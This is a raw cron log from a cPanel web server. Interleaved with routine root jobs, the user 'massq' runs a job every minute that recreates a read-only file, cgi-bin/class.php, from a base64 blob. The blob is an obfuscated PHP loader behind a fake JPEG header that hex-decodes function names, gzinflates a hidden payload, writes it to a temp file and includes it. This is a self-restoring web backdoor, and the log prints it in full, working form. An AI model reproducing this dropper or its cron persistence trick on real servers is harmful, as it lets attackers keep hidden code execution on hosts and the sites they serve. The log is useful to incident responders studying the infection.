Nov 10 07:00:01 server CROND[1726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:01:01 server CROND[2621]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 07:01:01 server CROND[2622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:01:01 server run-parts(/etc/cron.hourly)[2621]: starting 0anacron
Nov 10 07:01:01 server run-parts(/etc/cron.hourly)[2635]: finished 0anacron
Nov 10 07:02:01 server CROND[3455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:03:01 server CROND[4203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:04:01 server CROND[5099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:05:01 server CROND[5959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:05:01 server CROND[5961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:05:01 server CROND[5962]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 07:05:01 server CROND[5963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:06:01 server CROND[6841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:07:01 server CROND[7585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:08:01 server CROND[7946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:09:01 server CROND[9018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:09:01 server CROND[9021]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 07:10:01 server CROND[9847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 07:10:01 server CROND[9848]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:10:01 server CROND[9849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:10:01 server CROND[9850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:11:01 server CROND[10708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:12:01 server CROND[11568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:12:01 server CROND[11569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
